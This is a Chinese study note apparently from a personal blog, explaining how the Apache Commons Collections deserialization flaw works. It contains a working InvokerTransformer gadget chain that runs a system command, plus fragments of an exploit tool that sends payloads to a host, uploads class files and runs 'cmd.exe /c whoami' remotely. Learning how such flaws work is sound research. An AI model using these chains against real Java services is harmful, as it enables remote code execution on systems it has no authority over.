20160509-有一次整理下Java apache commons那个反序列化漏洞的原理

UI.class->GetShellWL.Connect(Host, Port);


就是反序列化的类
创建我们的远程类,在类中实现两个方法,执行系统命令获取回显和上传文本文件,该类必须继承java.rmi.Remote接口,代码如下:
接口:
public interface InitApp extends java.rmi.Remote {
      String runCmd(String cmd) ;
  String putFile(String Content,String Path);
}

上传后再注册



byte[] Payload = GenPayload.Gen("Windows", b);
SendPayload.Send(Host, Port, Payload);


getOutputStream 方法用于返回Servlet引擎创建的字节输出流对象,Servlet程序可以按字节形式输出响应正文。

===========================================================================================================================================
byte[] Payload = First_Payload.Gen_FirstPayload("Windows");
Transformer[] transformers = { }漏洞利用


//上传二进制代码
上传到程序运行的当前目录下面,一句话代码:new FileOutputStream("./payload.class").write(new byte[]{0xXX,0xXX,……})


下面执行一句代码:
java.net.URLClassLoader.getConstructor(java.net.URL[].class).newInstance(new java.net.URL[] {new java.net.URL("file:./")}).loadClass("payload").newInstance("cmd.exe /c whoami")

=============================================================================================================================================
关键函数JAVA反射机制:
getClass()
clz.getMethod("foo", String.class)



测试代码:
@SuppressWarnings({"rawtypes", "unchecked"})
public class VulTest {
    public static void main(String[] args) {
        Transformer transform = new InvokerTransformer( //InvokerTransformer对象,调用了transform
                "append",
                new Class[]{String.class},
                new Object[]{"exploitcat?"});
        Object newObject = transform.transform(new StringBuffer("your name is ")) ;
        System.out.println(newObject);    
 
    }
}



测试代码1:
public class TransformTest {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class), //绿盟是java.net.URLClassLoader.class
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, //绿盟是getConstructor;java.lang.Class.getConstructor() 方法返回一个Constructor对象
                    new Object[]{"getRuntime", new Class[0]}), //绿盟是newInstance
            new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, //绿盟是loadClass
                    new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class},  //绿盟是getMethod
                    new Object[]{"calc"})
        };
        
        // 绿盟还多了一个invoke
        
        Transformer chain = new ChainedTransformer(transformers) ;
        Map innerMap = new HashMap() ;
        innerMap.put("name", "hello") ;
        Map outerMap = TransformedMap.decorate(innerMap, null, chain) ; //decorate方法
 
        Map.Entry elEntry = (Entry) outerMap.entrySet().iterator().next() ;
        elEntry.setValue("hello") ; //entry 对象调用 setValue 时,执行的 checkSetValue.至于为什么呢? 你只要知道,setValue之前需要checkSetValue... 看名字就知道了.打个比方例如php的login()的时候会调用Checklogin()来判断,有时候换个方式来理解下下2333.
    }
}


调用这些 transform 方法的是一个叫 TransformedMap 的类的 decorate 方法.


看看 decorate 方法干嘛的.


public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer){
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

解析:第一个就是Map对象->innerMap;第二个不晓得;第三个Transformer->chain(应该是key/value里面的value)

=====================================================================================================
InvokerTransformer transform有问题
两个漏洞触发:
TransformedMap checkSetValue(Object)触发
LazyMap.get(Object)触发
sun.reflect.annotation.AnnotationInvocationHandler


LazyMap.get:

不确认是否对:LazyMap.get->TransformedMap.decorate->sun.reflect.annotation.AnnotationInvocationHandler
对象就是实例化的一个类


文章说法:
这里大家应该能明白老外为什么要用动态代理来进行构造POC了
因为AnnotationInvocationHandler默认实现了 InvocationHandler 接口
在用 Object iswin=Proxy.newInstance(classloader,interface,InvocationHandler) 生成动态代理后
当对象 iswin 在进行对象调用时,那么就会调用 InvocationHandler.invoke(xx) 方法
所以POC的执行流程为 map.xx->proxy(Map).invoke->lazymap.get(xx)就会触发 transform 方法从而执行恶意代码。
这里的 ChainedTransformer 为链式的 Transformer ,会挨个执行我们定义的 Transformer ,这里比较简单,有兴趣自己去看源码就知道。



TransformedMap checkSetValue:

文章说的
所以这里POC执行流程为 TransformedMap -> AnnotationInvocationHandler.readObject() -> setValue() -> checkSetValue() 漏洞成功触发.
checkSetValue和setValue

http://drops.wooyun.org/papers/10467
http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/
https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/

你可能感兴趣的:(20160509-有一次整理下Java apache commons那个反序列化漏洞的原理)